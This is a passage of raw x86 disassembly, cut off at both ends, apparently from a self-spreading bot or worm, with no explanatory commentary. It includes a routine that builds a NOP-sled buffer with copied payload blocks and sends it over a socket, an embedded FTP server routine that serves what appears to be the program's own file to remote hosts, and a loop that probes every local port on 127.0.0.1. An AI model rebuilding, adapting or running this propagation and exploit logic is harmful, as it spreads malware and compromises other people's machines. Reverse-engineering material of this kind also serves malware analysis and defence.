push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push dword ptr [ebp-20Ch]
lea eax, [ebp-204h]
push eax
lea eax, [ebp-0AF2h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 0
mov eax, 264h
sub eax, [ebp-20Ch]
add eax, 60h
push eax
mov eax, [ebp-20Ch]
lea eax, [ebp+eax-0AF2h]
push eax
call sub_410F60
add esp, 0Ch
push 4
push offset dword_41B410
lea eax, [ebp-88Eh]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp-882h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp-85Eh]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp-852h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 20h
push offset dword_41B338
lea eax, [ebp-82Eh]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 36Ah
lea eax, [ebp-0B78h]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 400h
call ds:dword_41709C ; Sleep
push 36Ah
lea eax, [ebp-0B78h]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410E71: ; CODE XREF: .text:00410D50j
; .text:00410D5Dj
movsx eax, byte ptr [ebp-208h]
cmp eax, 5
jnz short loc_410E85
movsx eax, byte ptr [ebp-4]
test eax, eax
jz short loc_410E95
loc_410E85: ; CODE XREF: .text:00410E7Bj
movsx eax, byte ptr [ebp-208h]
cmp eax, 4
jnz locret_410F5E
loc_410E95: ; CODE XREF: .text:00410E83j
push 86h
push offset dword_41B35C
lea eax, [ebp-104Ch]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, 3E8h
sub eax, [ebp-20Ch]
push eax
push 90h
lea eax, [ebp-0FC6h]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push dword ptr [ebp-20Ch]
lea eax, [ebp-204h]
push eax
lea eax, [ebp-0BDEh]
sub eax, [ebp-20Ch]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
and dword ptr [ebp-0B7Ch], 0
jmp short loc_410F06
; ---------------------------------------------------------------------------
loc_410EF9: ; CODE XREF: .text:00410F2Cj
mov eax, [ebp-0B7Ch]
inc eax
mov [ebp-0B7Ch], eax
loc_410F06: ; CODE XREF: .text:00410EF7j
cmp dword ptr [ebp-0B7Ch], 10h
jge short loc_410F2E
push 4
push offset dword_41B408
mov eax, [ebp-0B7Ch]
lea eax, [ebp+eax*4-0BDEh]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
jmp short loc_410EF9
; ---------------------------------------------------------------------------
loc_410F2E: ; CODE XREF: .text:00410F0Dj
push 20h
push offset dword_41B3E4
lea eax, [ebp-0B9Eh]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4CEh
lea eax, [ebp-104Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
locret_410F5E: ; CODE XREF: .text:00410BAAj
; .text:00410BEAj ...
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F60 proc near ; CODE XREF: .text:00410DB7p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_8], 0
jnz short loc_410FA4
and [ebp+var_4], 0
jmp short loc_410F79
; ---------------------------------------------------------------------------
loc_410F72: ; CODE XREF: sub_410F60+3Dj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_410F79: ; CODE XREF: sub_410F60+10j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_410F9F
push 20h
push 0
call sub_4103F5
pop ecx
pop ecx
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov al, byte_41BB00[eax]
mov [ecx], al
jmp short loc_410F72
; ---------------------------------------------------------------------------
loc_410F9F: ; CODE XREF: sub_410F60+1Fj
jmp locret_41102D
; ---------------------------------------------------------------------------
loc_410FA4: ; CODE XREF: sub_410F60+Aj
cmp [ebp+arg_8], 7Fh
jnz short loc_410FDF
and [ebp+var_8], 0
jmp short loc_410FB7
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_410F60+7Bj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_410FB7: ; CODE XREF: sub_410F60+4Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnb short loc_410FDD
push 5
push 0
call sub_4103F5
pop ecx
pop ecx
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov al, byte_41BB00[eax]
mov [ecx], al
jmp short loc_410FB0
; ---------------------------------------------------------------------------
loc_410FDD: ; CODE XREF: sub_410F60+5Dj
jmp short locret_41102D
; ---------------------------------------------------------------------------
loc_410FDF: ; CODE XREF: sub_410F60+48j
and [ebp+var_C], 0
loc_410FE3: ; CODE XREF: sub_410F60+ADj
; sub_410F60+CBj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jnb short locret_41102D
push 20h
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_10], al
movsx eax, [ebp+var_10]
imul eax, 5
mov ecx, [ebp+arg_8]
and ecx, dword_41BB01[eax]
test ecx, ecx
jz short loc_41100F
jmp short loc_410FE3
; ---------------------------------------------------------------------------
loc_41100F: ; CODE XREF: sub_410F60+ABj
movsx eax, [ebp+var_10]
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_C]
mov al, byte_41BB00[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_410FE3
; ---------------------------------------------------------------------------
locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj
; sub_410F60:loc_410FDDj ...
leave
retn
sub_410F60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41102F proc near ; CODE XREF: sub_41113B+79Bp
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 210h
push 0EA60h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4050EA
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411065
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_41106C
loc_411065: ; CODE XREF: sub_41102F+2Bj
xor eax, eax
jmp locret_411139
; ---------------------------------------------------------------------------
loc_41106C: ; CODE XREF: sub_41102F+34j
push offset aRb ; "rb"
push offset dword_41EB2C
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_208], eax
cmp [ebp+var_208], 0
jnz short loc_41109F
push [ebp+var_204]
call sub_4053B1
pop ecx
xor eax, eax
jmp locret_411139
; ---------------------------------------------------------------------------
loc_41109F: ; CODE XREF: sub_41102F+5Bj
; sub_41102F:loc_41111Cj
mov eax, [ebp+var_208]
mov eax, [eax+0Ch]
and eax, 10h
test eax, eax
jnz short loc_41111E
push [ebp+var_208]
push 200h
push 1
lea eax, [ebp+var_200]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_20C], eax
push [ebp+var_20C]
lea eax, [ebp+var_200]
push eax
push [ebp+var_204]
call sub_4053BF
add esp, 0Ch
mov [ebp+var_210], eax
mov eax, [ebp+var_20C]
cmp eax, [ebp+var_210]
jz short loc_41111C
push [ebp+var_204]
call sub_4053B1
pop ecx
push [ebp+var_208]
call sub_416B82 ; fclose
pop ecx
xor eax, eax
jmp short locret_411139
; ---------------------------------------------------------------------------
loc_41111C: ; CODE XREF: sub_41102F+CFj
jmp short loc_41109F
; ---------------------------------------------------------------------------
loc_41111E: ; CODE XREF: sub_41102F+7Ej
push [ebp+var_204]
call sub_40538D
pop ecx
push [ebp+var_208]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
locret_411139: ; CODE XREF: sub_41102F+38j
; sub_41102F+6Bj ...
leave
retn
sub_41102F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41113B proc near ; DATA XREF: sub_411BBC+156o
var_558 = dword ptr -558h
var_554 = dword ptr -554h
var_550 = dword ptr -550h
var_54C = dword ptr -54Ch
var_548 = dword ptr -548h
var_544 = dword ptr -544h
var_540 = byte ptr -540h
var_53C = byte ptr -53Ch
var_538 = byte ptr -538h
var_534 = dword ptr -534h
var_530 = byte ptr -530h
var_52C = dword ptr -52Ch
var_528 = dword ptr -528h
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_318 = byte ptr -318h
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 558h
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_10C], eax
push offset dword_41C6B0
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
mov al, byte_41DE30
mov [ebp+var_104], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_114], al
xor eax, eax
lea edi, [ebp+var_113]
stosd
stosb
and [ebp+var_4], 0
and [ebp+var_118], 0
and [ebp+var_108], 0
loc_4111CC: ; CODE XREF: sub_41113B+10Cj
; sub_41113B+1BDj ...
push 0EA60h
push [ebp+var_10C]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jz loc_4119BA
push 200h
lea eax, [ebp+var_318]
push eax
push [ebp+var_10C]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_520], eax
cmp [ebp+var_520], 0
jz short loc_411218
cmp [ebp+var_520], 0FFFFFFFFh
jnz short loc_41121D
loc_411218: ; CODE XREF: sub_41113B+D2j
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_41121D: ; CODE XREF: sub_41113B+DBj
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
lea eax, [ebp+var_318]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_528], eax
cmp [ebp+var_528], 0
jnz short loc_411249
jmp short loc_4111CC
; ---------------------------------------------------------------------------
loc_411249: ; CODE XREF: sub_41113B+10Aj
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_51C], eax
cmp [ebp+var_51C], 0
jnz short loc_411278
mov [ebp+var_51C], offset byte_41DE30
loc_411278: ; CODE XREF: sub_41113B+131j
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
push 0
call sub_40813C
add esp, 0Ch
push [ebp+var_528]
call sub_40ED38
pop ecx
mov [ebp+var_524], eax
mov eax, [ebp+var_524]
sub eax, dword_41C6A0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4112FD
mov [ebp+var_4], 1
push offset dword_41C698
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4112FD: ; CODE XREF: sub_41113B+178j
mov eax, [ebp+var_524]
sub eax, dword_41C68C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41135D
mov [ebp+var_118], 1
push offset dword_41C684
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41135D: ; CODE XREF: sub_41113B+1D5j
cmp [ebp+var_4], 0
jz short loc_41136C
cmp [ebp+var_118], 0
jnz short loc_411371
loc_41136C: ; CODE XREF: sub_41113B+226j
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411371: ; CODE XREF: sub_41113B+22Fj
mov eax, [ebp+var_524]
sub eax, dword_41C678
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4113C7
push offset dword_41C670
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4113C7: ; CODE XREF: sub_41113B+249j
mov eax, [ebp+var_524]
sub eax, dword_41C664
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41141D
push offset dword_41C65C
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41141D: ; CODE XREF: sub_41113B+29Fj
mov eax, [ebp+var_524]
sub eax, dword_41C654
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_411473
push offset dword_41C648
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411473: ; CODE XREF: sub_41113B+2F5j
mov eax, [ebp+var_524]
sub eax, dword_41C63C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4114C9
push offset dword_41C634
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4114C9: ; CODE XREF: sub_41113B+34Bj
mov eax, [ebp+var_524]
sub eax, dword_41C628
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41151F
push offset dword_41C620
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41151F: ; CODE XREF: sub_41113B+3A1j
mov eax, [ebp+var_524]
sub eax, dword_41C614
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411622
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_52C]
push eax
lea eax, [ebp+var_540]
push eax
lea eax, [ebp+var_53C]
push eax
lea eax, [ebp+var_538]
push eax
lea eax, [ebp+var_530]
push eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push [ebp+var_51C]
call sub_416BA2 ; sscanf
add esp, 20h
movzx eax, [ebp+var_540]
push eax
movzx eax, [ebp+var_53C]
push eax
movzx eax, [ebp+var_538]
push eax
movzx eax, [ebp+var_530]
push eax
push offset dword_418A50
push 100h
lea eax, [ebp+var_104]
push eax
call sub_416BAE ; _snprintf
add esp, 1Ch
mov eax, [ebp+var_52C]
and eax, 0FFh
shl eax, 8
mov ecx, [ebp+var_534]
and ecx, 0FFh
or eax, ecx
push eax
push offset dword_418A60
push 6
lea eax, [ebp+var_114]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset dword_41C634
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411622: ; CODE XREF: sub_41113B+3F7j
mov eax, [ebp+var_524]
sub eax, dword_41C5F4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_4116E9
push offset aRb ; "rb"
push offset dword_41EB2C
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_548], eax
cmp [ebp+var_548], 0
jnz short loc_411660
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_411660: ; CODE XREF: sub_41113B+51Ej
push 2
push 0
push [ebp+var_548]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_548]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_544], eax
push 0
push 0
push [ebp+var_548]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_548]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_544]
push offset dword_41C5E8
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4116E9: ; CODE XREF: sub_41113B+4FAj
mov eax, [ebp+var_524]
sub eax, dword_41C5DC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411873
push offset a150 ; "150 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push 2710h
push 0
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_104]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_54C], eax
cmp [ebp+var_54C], 0
jz short loc_411773
cmp [ebp+var_54C], 0FFFFFFFFh
jnz short loc_411778
loc_411773: ; CODE XREF: sub_41113B+62Dj
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_411778: ; CODE XREF: sub_41113B+636j
push offset aRb ; "rb"
push offset dword_41EB2C
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_554], eax
cmp [ebp+var_554], 0
jnz short loc_41179D
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_41179D: ; CODE XREF: sub_41113B+65Bj
push 2
push 0
push [ebp+var_554]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_554]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_550], eax
push 0
push 0
push [ebp+var_554]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_554]
call sub_416B82 ; fclose
pop ecx
push offset dword_41EB2C
push [ebp+var_550]
push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"...
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_54C]
call sub_4053BF
add esp, 0Ch
push [ebp+var_54C]
call sub_40538D
pop ecx
push offset dword_41C558
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411873: ; CODE XREF: sub_41113B+5C1j
mov eax, [ebp+var_524]
sub eax, dword_41C54C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411969
push offset a150 ; "150 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_104]
push eax
call sub_41102F
pop ecx
pop ecx
test eax, eax
jz loc_411967
push offset dword_41C558
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push 1
push offset dword_41EB08
call sub_409C88
pop ecx
pop ecx
inc eax
mov [ebp+var_558], eax
lea eax, [ebp+var_104]
push eax
push [ebp+var_558]
push offset aFtp_0 ; "ftp"
push offset unk_41C520
push offset dword_41DAB4
call sub_40D4AB
add esp, 14h
push 3E8h
call ds:dword_41709C ; Sleep
jmp short loc_4119BA
; ---------------------------------------------------------------------------
loc_411967: ; CODE XREF: sub_41113B+7A4j
jmp short loc_4119BA
; ---------------------------------------------------------------------------
loc_411969: ; CODE XREF: sub_41113B+74Bj
mov eax, [ebp+var_524]
sub eax, dword_41C514
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4119BA
push offset a221 ; "221 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
loc_4119BA: ; CODE XREF: sub_41113B+A5j
; sub_41113B:loc_411218j ...
push offset a231 ; "231 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push [ebp+var_10C]
call sub_40538D
pop ecx
xor eax, eax
pop edi
leave
retn 4
sub_41113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A09 proc near ; CODE XREF: sub_411BBC+90p
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 204h
push 32h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_411A29
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A29: ; CODE XREF: sub_411A09+17j
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411A58
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411A5F
loc_411A58: ; CODE XREF: sub_411A09+44j
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A5F: ; CODE XREF: sub_411A09+4Dj
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset dword_41C6D8
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411A8A
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_411A09+78j
push offset dword_41C6CC
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
pop ecx
pop ecx
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 32h
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_405443
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411AEE
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411AF5
loc_411AEE: ; CODE XREF: sub_411A09+DAj
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411AF5: ; CODE XREF: sub_411A09+E3j
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset dword_41C6C8
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411B20
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411B20: ; CODE XREF: sub_411A09+10Ej
call sub_410422
push eax
push offset dword_41C6BC
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 32h
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_405443
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411B8B
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411B8F
loc_411B8B: ; CODE XREF: sub_411A09+177j
xor eax, eax
jmp short locret_411BBA
; ---------------------------------------------------------------------------
loc_411B8F: ; CODE XREF: sub_411A09+180j
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset dword_41C6B8
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411BB7
xor eax, eax
jmp short locret_411BBA
; ---------------------------------------------------------------------------
loc_411BB7: ; CODE XREF: sub_411A09+1A8j
push 1
pop eax
locret_411BBA: ; CODE XREF: sub_411A09+1Bj
; sub_411A09+51j ...
leave
retn
sub_411A09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BBC proc near ; CODE XREF: sub_411D59+6p
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = byte ptr -1BCh
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1C8h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov [ebp+var_4], 1
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
jmp short loc_411C04
; ---------------------------------------------------------------------------
loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_411C04: ; CODE XREF: sub_411BBC+3Fj
cmp [ebp+var_8], 0FFFFh
jnb loc_411CB0
push 0Ah
lea eax, [ebp+var_18]
push eax
push [ebp+var_8]
call sub_416F7A ; _itoa
add esp, 0Ch
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push offset a127_0_0_1 ; "127.0.0.1"
call sub_4050EA
add esp, 10h
mov [ebp+var_1C4], eax
cmp [ebp+var_1C4], 0
jz short loc_411CAB
push [ebp+var_1C4]
call sub_411A09
pop ecx
test eax, eax
jz short loc_411C9F
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp [ebp+var_4], 0
jnz short loc_411C76
push 2
lea eax, [ebp+var_18]
push eax
push [ebp+var_10]
call sub_404871
add esp, 0Ch
jmp short loc_411C9F
; ---------------------------------------------------------------------------
loc_411C76: ; CODE XREF: sub_411BBC+A5j
push 2
lea eax, [ebp+var_18]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_411C9F
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_411D55
; ---------------------------------------------------------------------------
loc_411C9F: ; CODE XREF: sub_411BBC+98j
; sub_411BBC+B8j ...
push [ebp+var_1C4]
call sub_4053B1
pop ecx
loc_411CAB: ; CODE XREF: sub_411BBC+88j
jmp loc_411BFD
; ---------------------------------------------------------------------------
loc_411CB0: ; CODE XREF: sub_411BBC+4Fj
cmp [ebp+var_10], 0
jnz short loc_411CC9
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_411D55
; ---------------------------------------------------------------------------
loc_411CC9: ; CODE XREF: sub_411BBC+F8j
mov eax, [ebp+var_1C0]
push dword ptr [eax]
push offset unk_41C6DC
lea eax, [ebp+var_1BC]
push eax
call sub_40D53F
add esp, 0Ch
loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj
push 3E8h
push [ebp+var_10]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1C8], eax
cmp [ebp+var_1C8], 0
jz short loc_411D2E
cmp [ebp+var_1C8], 0FFFFFFFFh
jz short loc_411D2E
push [ebp+var_1C8]
